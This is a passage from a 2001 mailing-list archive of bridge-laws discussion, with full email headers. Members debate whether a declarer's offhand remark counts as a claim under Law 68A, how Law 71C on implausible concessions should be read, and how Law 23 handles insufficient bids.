for ; Fri, 19 Jan 2001 03:21:18 +1100 (EST) Received: from oemcomputer (user-2ive50m.dialup.mindspring.com [165.247.20.22]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with SMTP id LAA29415; Thu, 18 Jan 2001 11:20:37 -0500 (EST) Message-ID: <000701c0816b$364a59e0$1614f7a5@oemcomputer> From: "Craig Senior" To: , References: <200101181545.KAA23986@freenet10.carleton.ca> Subject: Re: [BLML] Claim? Date: Thu, 18 Jan 2001 11:24:58 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I diagree. 68a looks pretty clear on its face, and more so because of its provenance. Let us believe that tge law means what it says and enforce it as written. This is a claim. Craig ----- Original Message ----- From: "A. L. Edwards" To: Sent: Thursday, January 18, 2001 10:45 AM Subject: Re: [BLML] Claim? > > > > > > Declarer looks at dummy, and comments: > > > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > > > Has he claimed? > > > >-- > >David Stevenson Liverpool, England, UK > > > > For help in rulings see the International Bridge Laws Forum > > at http://blakjak.com/iblf.htm > > No, despite L68(a). Declarer is talking to *partner*, not telling > the opps that he's taking any # of tricks. However, such a statement > is improper: L73(f)2, and L74(a)2. > Tony (aka ac342) > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 03:43:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IGham12064 for bridge-laws-outgoing; Fri, 19 Jan 2001 03:43:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f139.law7.hotmail.com [216.33.237.139]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IGhTt12025 for ; Fri, 19 Jan 2001 03:43:30 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 18 Jan 2001 08:43:21 -0800 Received: from 192.160.109.219 by lw7fd.law7.hotmail.msn.com with HTTP; Thu, 18 Jan 2001 16:43:21 GMT X-Originating-IP: [192.160.109.219] From: "Norman Scorbie" To: agot@ulb.ac.be, bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... Date: Thu, 18 Jan 2001 16:43:21 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 18 Jan 2001 16:43:21.0923 (UTC) FILETIME=[C4C7F130:01C0816D] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: alain gottcheiner >To: "Norman Scorbie" , >bridge-laws@rgb.anu.edu.au >Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... >Date: Thu, 18 Jan 2001 17:05:39 +0100 > >At 11:44 18/01/01, Norman Scorbie wrote: > >>"one" > >> > >> >used for "I," as in "One enjoyed one's trip to the continent last > >> > >> >year," but I suppose the British Davids find it perfectly > >>acceptable. > >> > >> > >> > >> Certainly not. That's French. > >AG : it is not. French uses 'on' (= one) only to replace 'nous' (= we), and >it's felt as casual. > > A. > A minor point, to be sure, but it wasn't me that wrote that, it was an unsnipped piece from a previous post to which I was replying. I don't know who it was, but the context and tone suggest David Stevenson... _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 03:45:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IGjSA12725 for bridge-laws-outgoing; Fri, 19 Jan 2001 03:45:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IGjHt12663 for ; Fri, 19 Jan 2001 03:45:22 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14JIBT-000JBW-0Y for bridge-laws@rgb.anu.edu.au; Thu, 18 Jan 2001 16:45:13 +0000 Message-ID: Date: Thu, 18 Jan 2001 15:45:52 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: TR: [BLML] Law 71: Concession cancelled References: <01011519525801.00176@psa836> <00cf01c08040$828fd360$56991e18@san.rr.com> <01f701c08114$6f545260$56991e18@san.rr.com> In-Reply-To: <01f701c08114$6f545260$56991e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >David Stevenson wrote: >> Marvin L. French writes: >> >David Stevenson wrote: >> > >> >> >On Mon, 15 Jan 2001, David Stevenson wrote: >> >> >> >> >> >71C. Implausible Concession >> >> >> > if a player has conceded a trick that cannot be lost by >> >> >> > any normal play of the remaining cards. Until the >> >> >> > conceding side makes a call on a subsequent board, or >> >> >> > until the round ends, the Director shall cancel the >> >> >> > concession of a trick that could not have been lost >> >> >> > by any normal play of the remaining cards. >> >> >> >> >> >> The second sentence has not been deleted. However, it has >been >> >> >> realised that it is superfluous, and it is acceptable to treat >this >> >Law >> >> >> _as though_ it had been deleted. >> >> >> >> >>I tried to argue at one >> >> time as you said, based on the idea that it was not logical to >include >> >> the second sentence otherwise, and it was decided that the second >> >> sentence was superfluous, and had been left in accidentally when >other >> >> changes were made to the Law. >> > >> >The second sentence is not superfluous, which means adding nothing to >> >the first sentence. It is a contradiction of the first sentence, >> >carrying a different meaning. Let's just say it's a goof, a fossil >that >> >should have been removed when L71 was recast. >> >> It *is* superfluous, it is not contradictory. >> >> The second sentence allows a concession to be cancelled if a trick >> could not have been lost by any normal play of the cards, and gives a >> time limit. The first sentence allows a concession to be cancelled if >a >> trick could not have been lost by any normal play of the cards, but >> gives no time limit. So any concession allowed by the second sentence >> is always allowed by the first sentence, and also concessions outside >> the time limit are allowed. Thus the second sentence is superfluous. >> >A correction not allowed by the second sentence is allowed by the first >sentence. Looks like a contradiction to me. How can one tell which >sentence was the mistake? You do not have to decide that. If you assume both are correct then the second one is superfluous. It is not a contradiction. You are assuming the fallacy of [can't remember what it is called, someone remind me, that says you cannot assume the opposite of a logical statement applies]. The second sentence allows a change within a time limit: it does not say [as you have assumed] that the change outside that time limit is not allowed. Thus it does not contradict the first statement. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 04:00:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IGxrC17757 for bridge-laws-outgoing; Fri, 19 Jan 2001 03:59:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IGxjt17717 for ; Fri, 19 Jan 2001 03:59:46 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id LAA12685 for ; Thu, 18 Jan 2001 11:59:36 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id LAA23366 for bridge-laws@rgb.anu.edu.au; Thu, 18 Jan 2001 11:59:34 -0500 (EST) Date: Thu, 18 Jan 2001 11:59:34 -0500 (EST) From: Steve Willner Message-Id: <200101181659.LAA23366@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: RE: [BLML] Let's get back to the easy stuff X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Kooijman, A." > But if I do something by > which my partner is barred from the bidding and only now I can make the > final call in the right contract, the laws allow the TD to take that > advantage away (this is described in a more general way in L 23) Just by way of example: We have reached the four-level and not found a fit. I'd like to sign off in 4NT, but partner will surely take it as Blackwood. What to do? I know... bid 3C (insufficient). Partner will be barred, and I can bid 4NT to play. What a clever idea! It turns out the law writers have already thought of my idea and created L23. Since 1997, L72B1 covers all other occasions where similar ideas might be put into effect. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 04:21:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IHL1D25123 for bridge-laws-outgoing; Fri, 19 Jan 2001 04:21:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-1.nyroc.rr.com [24.92.226.168]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IHKst25078 for ; Fri, 19 Jan 2001 04:20:54 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0IHH5e01241 for ; Thu, 18 Jan 2001 12:17:05 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <3.0.5.32.20010118145857.00875e90@mail.netvision.net.il> References: <006b01c0809d$a7528dc0$5713f7a5@oemcomputer> <67378DEA146DD21194C20000F87B08BA01B8B77D@fdwag002s.fd.agro.nl> <3.0.5.32.20010118145857.00875e90@mail.netvision.net.il> Date: Thu, 18 Jan 2001 12:11:16 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] 1997 changes to laws, was Law 71: Concession cancelled Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Eitan Levy writes: > According to my notes, the change/clarification was made by the Laws >Committee (in Hammamet in 1997, I think). It was communicated to BLML and I >remember there was some discussion on it, ending with something like, _In >other words should we delete the second sentence?_ and Grattan(?) or Ton >(?) answering, _Yes, in effect the second sentence is deleted_. > >The official explanation given at the time was: >quote ..The director is to cancel an implausible concession, as defined in >Law 71C, at any time within the Law 79C correction period... unquote. > >There were two other changes made at the same time, and you might want to >check if you have these: > >1. Definitions : Convention. An asterix was added at the end of (or in the >last denomination named *), and the footnote reads: * the denomination in >which the contract would be played were all the players to pass following >the call in question. > >The explanation for this was: "the parenthesis applies when the main text >is not applicable, i.e. in cases of "pass", "double" and "redouble"." > >2. LAW 17D >The asterix was moved from _.........normally*_ to _......any significant >way from his cancelled call *.__ > Interesting. I have three copies of the ACBL version of the 1997 laws, all ordered at the same time from the same vendor (either the ACBL or Baron Barclay, I don't remember which). *One* of them came with an errata page. *None* of them contain either of the first two changes mentioned, but they *all* contain the third, the change to Law 17D - in the book, not on the errata page. Does the ACBL, at least, have an editing problem? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmcl8r2UW3au93vOEQLXWQCg/oKYLn2eDVnPsVu/oP9wQwNsIJYAoIqE XjULk7eZIJVA834r/+WvvfmN =rFvY -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 04:21:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IHLcL25336 for bridge-laws-outgoing; Fri, 19 Jan 2001 04:21:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IHLOt25260 for ; Fri, 19 Jan 2001 04:21:25 +1100 (EST) Received: from oemcomputer (user-2ive50m.dialup.mindspring.com [165.247.20.22]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with SMTP id MAA27739; Thu, 18 Jan 2001 12:21:16 -0500 (EST) Message-ID: <002701c08173$ad5c3fa0$1614f7a5@oemcomputer> From: "Craig Senior" To: "Bridge Laws Discussion List" , "Eric Landau" References: <4.3.2.7.1.20010117083016.00a91460@127.0.0.1> Subject: Re: [BLML] Let's get back to the easy stuff Date: Thu, 18 Jan 2001 12:25:37 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk No, one faction in the argument came to that conclusion. We did not agree on the point. Craig ----- Original Message ----- From: "Eric Landau" To: "Bridge Laws Discussion List" Sent: Wednesday, January 17, 2001 8:43 AM Subject: Re: [BLML] Let's get back to the easy stuff > At 09:05 PM 1/14/01, David wrote: > > > Dealer South, North bids out of turn, not accepted, so South is > >silenced. Are there any constraints on North's bidding? > > Yes, there are constraints imposed by L23. North should not take any > action which is more likely to succeed with partner barred than it > would be were partner free to bid. TD's authority to adjust (given > damage) comes from L72B1. > > Didn't we come to this conclusion recently in a thread about psyching > opposite a barred partner? > > > Eric Landau elandau@cais.com > APL Solutions, Inc. elandau@acm.org > 1107 Dale Drive (301) 589-4621 > Silver Spring MD 20910-1607 Fax (301) 589-4618 > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 04:31:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IHV5S28590 for bridge-laws-outgoing; Fri, 19 Jan 2001 04:31:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout2.nyroc.rr.com (mailout2-0.nyroc.rr.com [24.92.226.121]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IHUwt28557 for ; Fri, 19 Jan 2001 04:30:59 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout2.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id MAA11817 for ; Thu, 18 Jan 2001 12:27:10 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: References: Date: Thu, 18 Jan 2001 12:30:06 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] Claim? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 David Stevenson asks: > Declarer looks at dummy, and comments: > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > Has he claimed? Such a simple question! :-) So far, we have seven answers: four yes, and three no. I have to add a yes vote, making it five to three, if my vote counts. :-) See, the law says what it says, quite clearly, as Mr. Burn and others have pointed out. While I think ruling this a claim would be unpopular amongst players, still, it walks like a duck, and it quacks like a duck so, let's face it, it's a duck! Unless, of course, the WBF LC or some other authority has come out with a minute changing this law, of which I'm unaware. :-) Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmcoTr2UW3au93vOEQKzLwCg9mCAoC0QWsRBZJ1S1MaadRnfQ9UAoNMX Tuib1gRBUvkKNcjlCeJeRzZe =++zU -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 04:34:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IHXqT29569 for bridge-laws-outgoing; Fri, 19 Jan 2001 04:33:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Amnesix.UQSS.UQuebec.CA (Amnesix.UQSS.UQuebec.CA [192.77.51.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IHXjt29525 for ; Fri, 19 Jan 2001 04:33:46 +1100 (EST) Received: from Panoramix.UQSS.UQuebec.ca (Panoramix.UQSS.UQuebec.CA [192.77.51.2]) by Amnesix.UQSS.UQuebec.CA (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id MAA16063; Thu, 18 Jan 2001 12:33:33 -0500 (EST) Received: from localhost by Panoramix.UQSS.UQuebec.ca with ESMTP (1.40.112.8/15.6) id AA176829213; Thu, 18 Jan 2001 12:33:33 -0500 X-Openmail-Hops: 1 Date: Thu, 18 Jan 2001 12:33:31 -0500 Message-Id: Subject: RE: [BLML] We, one, and The Princess Royal's dilemma... Mime-Version: 1.0 From: Laval_DUBREUIL@UQSS.UQuebec.CA To: agot@ulb.ac.be, bridge-laws@rgb.anu.edu.au, normanscorbie@hotmail.com Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Thu, 18 Jan 2001 12:33:31 -0500" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0IHXmt29546 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:44 18/01/01, Norman Scorbie wrote: >>"one" >> > >> >used for "I," as in "One enjoyed one's trip to the continent last >> > >> >year," but I suppose the British Davids find it perfectly >>acceptable. >> > >> >> > >> Certainly not. That's French. AG : it is not. French uses 'on' (= one) only to replace 'nous' (= we), and it's felt as casual. ________________________________________________________________________ __ Not so clear. In my part of the world I learnt at school (classical studies) that "on" may exclude the person using it. So it should not mean "nous" but somebody else. Though, in current language, "on" is mostly use as "nous". "On y va ?" = Do we go ? Laval Du Breuil Quebec City -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 04:38:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IHbvt00954 for bridge-laws-outgoing; Fri, 19 Jan 2001 04:37:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IHbnt00912 for ; Fri, 19 Jan 2001 04:37:50 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id JAA20378; Thu, 18 Jan 2001 09:35:38 -0800 Message-Id: <200101181735.JAA20378@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Claim? In-Reply-To: Your message of "Wed, 17 Jan 2001 21:45:42 PST." <01e901c08111$edec7e20$56991e18@san.rr.com> Date: Thu, 18 Jan 2001 09:35:37 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin French wrote: > Until 1987 Adam's opinion was probably the correct one, as before then > the law was a little different: > > L70, 1963, and L68B, 1975: Declarer makes a claim whenever he announces > that he will win or lose one or more of the remaining tricks,... > > In 1987 the matter went into L68A, and "announces" was changed to making > "any statement to the effect..." Interesting. If I had been aware of the wording change from 1975, it would have affected my interpretation. That certainly indicates that the Lawmakers intended something by it. If what they intended is as you say, the current wording is still confusing about half of BLML, so it would have been nice if they had included a clause (or perhaps a footnote) like "even if declarer is not addressing his statement to the opponents", to let us in on what they were thinking instead of keeping it a secret. Unfortunately, this apsect of the law doesn't seem to be widely known. So, if I were a defender in this situation, I'd hate to call the director on a declarer that made a comment like this; this would just feel like Bridge Lawyering, even though the law might be on my side. In this case, I'd be trying to penalize someone whose only offense is not scrutinizing the Lawbook to the same degree that we on BLML do. If declarer made a comment like this, I think it would be appropriate to ask him, "Are you claiming or not?" If he responds "no", that would hopefully prevent the defense from being lulled to sleep. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 04:49:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IHn5E01618 for bridge-laws-outgoing; Fri, 19 Jan 2001 04:49:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from listonosz.comarch.pl (postfix@listonosz.comarch.pl [195.116.193.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IHmct01614 for ; Fri, 19 Jan 2001 04:48:44 +1100 (EST) Received: from comarch.pl (pcciborowski.sse.comarch [10.1.10.136]) by listonosz.comarch.pl (Postfix) with ESMTP id E08631769D for ; Thu, 18 Jan 2001 18:48:17 +0100 (CET) Message-ID: <3A672BF6.EC0316A5@comarch.pl> Date: Thu, 18 Jan 2001 18:46:30 +0100 From: Konrad Ciborowski X-Mailer: Mozilla 4.75 [fr] (Win98; U) X-Accept-Language: fr MIME-Version: 1.0 To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? References: <200101180132.RAA06740@mailhub.irvine.com> <01e901c08111$edec7e20$56991e18@san.rr.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "Marvin L. French" a écrit : > > Until 1987 Adam's opinion was probably the correct one, as before then > the law was a little different: > > L70, 1963, and L68B, 1975: Declarer makes a claim whenever he announces > that he will win or lose one or more of the remaining tricks,... > > In 1987 the matter went into L68A, and "announces" was changed to making > "any statement to the effect..." Voting "yes, declarer has claimed" I'd like to add that the in the 50s the Polish version of the Laws contained a special regulation on this (we had plenty of such extra regulations; the most astonishing was that once in the sixties every trick in NT starting with the 10th was counted for 20 points!; so 3NT= 600, 3NT +1 = 620; 3NT +2 = 640 etc.). The regulation was: "if declarer makes during the play any announcement like <>, <> or similar, defenders have the right to make declarer table his hand and continue playing with his cards exposed". Konrad Ciborowski Kraków, Poland -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 05:04:29 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0II3t501640 for bridge-laws-outgoing; Fri, 19 Jan 2001 05:03:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0II3nt01636 for ; Fri, 19 Jan 2001 05:03:50 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id MAA01584 for ; Thu, 18 Jan 2001 12:05:03 -0600 (CST) Message-Id: <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 18 Jan 2001 12:03:27 -0600 To: From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: <000701c0816b$364a59e0$1614f7a5@oemcomputer> References: <200101181545.KAA23986@freenet10.carleton.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:24 AM 1/18/2001 -0500, Craig Senior wrote: >I diagree. 68a looks pretty clear on its face, and more so because of its >provenance. Let us believe that tge law means what it says and enforce it as >written. This is a claim. Let us most emphatically _not_ assume that the law means what it says, and let us not under any circumstances enforce it as written. I cannot believe that anyone would enforce a 'claim' in a situation where it is obvious to everyone that the person had no intention to claim. Monday night I was in 3NT. I was playing against two opponents that I knew quite well, and who are in the habit of joking during play. When the opening lead was tabled, I said "Hmmm...4,5,6,7,8. [pause] 8." When RHO contributed the J of clubs to the first trick, taken by my Q, he laughed and said "Is that 9?" "No", I said, "unfortunately that was one of the 8." We played on, and I made 9 after all, when an opponent had to lead to a stranded winner in dummy at trick 13. But wait! Ought I, as a Director, have stopped play before playing to trick 1 from dummy, on the grounds that I had claimed 4 tricks? [I assume that if you claim 4 tricks, subsequent claims of 5, 6, 7, and 8 tricks are void.] Heaven forbid that bridge players joke at the table! I can safely say that not one of the players at my table thought that I was claiming, or would have tried to enforce that statement as a claim even if they had the lawbook in hand. Tell me things have not come to this! >Craig > Respectfully, Grant Sterling >> > Declarer looks at dummy, and comments: >> > >> > "Oh dear! We should be in slam - we are going to make twelve tricks!" >> > >> > Has he claimed? >> > >> >-- >> >David Stevenson Liverpool, England, UK -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 05:12:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IIBrk01661 for bridge-laws-outgoing; Fri, 19 Jan 2001 05:11:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IIBlt01657 for ; Fri, 19 Jan 2001 05:11:48 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id MAA04540 for ; Thu, 18 Jan 2001 12:13:02 -0600 (CST) Message-Id: <3.0.6.32.20010118121128.007e1c60@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 18 Jan 2001 12:11:28 -0600 To: bridge-laws@rgb.anu.edu.au From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: <3A672BF6.EC0316A5@comarch.pl> References: <200101180132.RAA06740@mailhub.irvine.com> <01e901c08111$edec7e20$56991e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0IIBot01658 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 06:46 PM 1/18/2001 +0100, Konrad Ciborowski wrote: >"Marvin L. French" a écrit : >> >> Until 1987 Adam's opinion was probably the correct one, as before then >> the law was a little different: >> >> L70, 1963, and L68B, 1975: Declarer makes a claim whenever he announces >> that he will win or lose one or more of the remaining tricks,... >> >> In 1987 the matter went into L68A, and "announces" was 